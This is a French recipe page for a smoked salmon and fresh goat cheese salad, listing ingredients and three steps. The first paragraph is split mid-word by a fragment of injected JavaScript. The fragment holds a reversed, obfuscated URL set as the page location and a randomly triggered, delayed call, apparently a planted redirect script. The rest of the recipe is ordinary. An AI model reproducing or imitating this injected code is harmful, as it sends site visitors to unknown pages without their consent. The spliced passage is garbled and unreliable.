Salade de saumon au fromage de chèvre fraîche

2018-02-17

Pelez, coupez en bâtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tonnets le concombre. Coupez-les fromages de chèvre en deux. Coupez-les tranches de saumon en deux.

Ingrédients

  • Pour 6 personnes
  • 12 tranches de saumon fumé
  • 6 chèvres frais
  • 6 mini blinis
  • ½ cuillère à café de baies de roses concassées
  • 6 feuilles de basilic ciselées
  • 6 cuillères à café d'œufs de saumon
  • 1 petit concombre
  • Huile de colza
  • Vinaigre balsamique

Préparation de la recette

Etape 1

Pelez, coupez en bâtonnets le concombre. Coupez-les fromages de chèvre en deux. Coupez-les tranches de saumon en deux.

Etape 2

Répartissez sur des assiettes individuelles le saumon, au centre les bâtonnets de concombre, le ½ chèvres, les baies de roses, les feuilles de basilic, 1 filet d'huile de colza, Quelques gouttes de vinaigre balsamique.

Etape 3

Servez avec les blinis que vous aurez passés quelques secondes aux micro-ondes.

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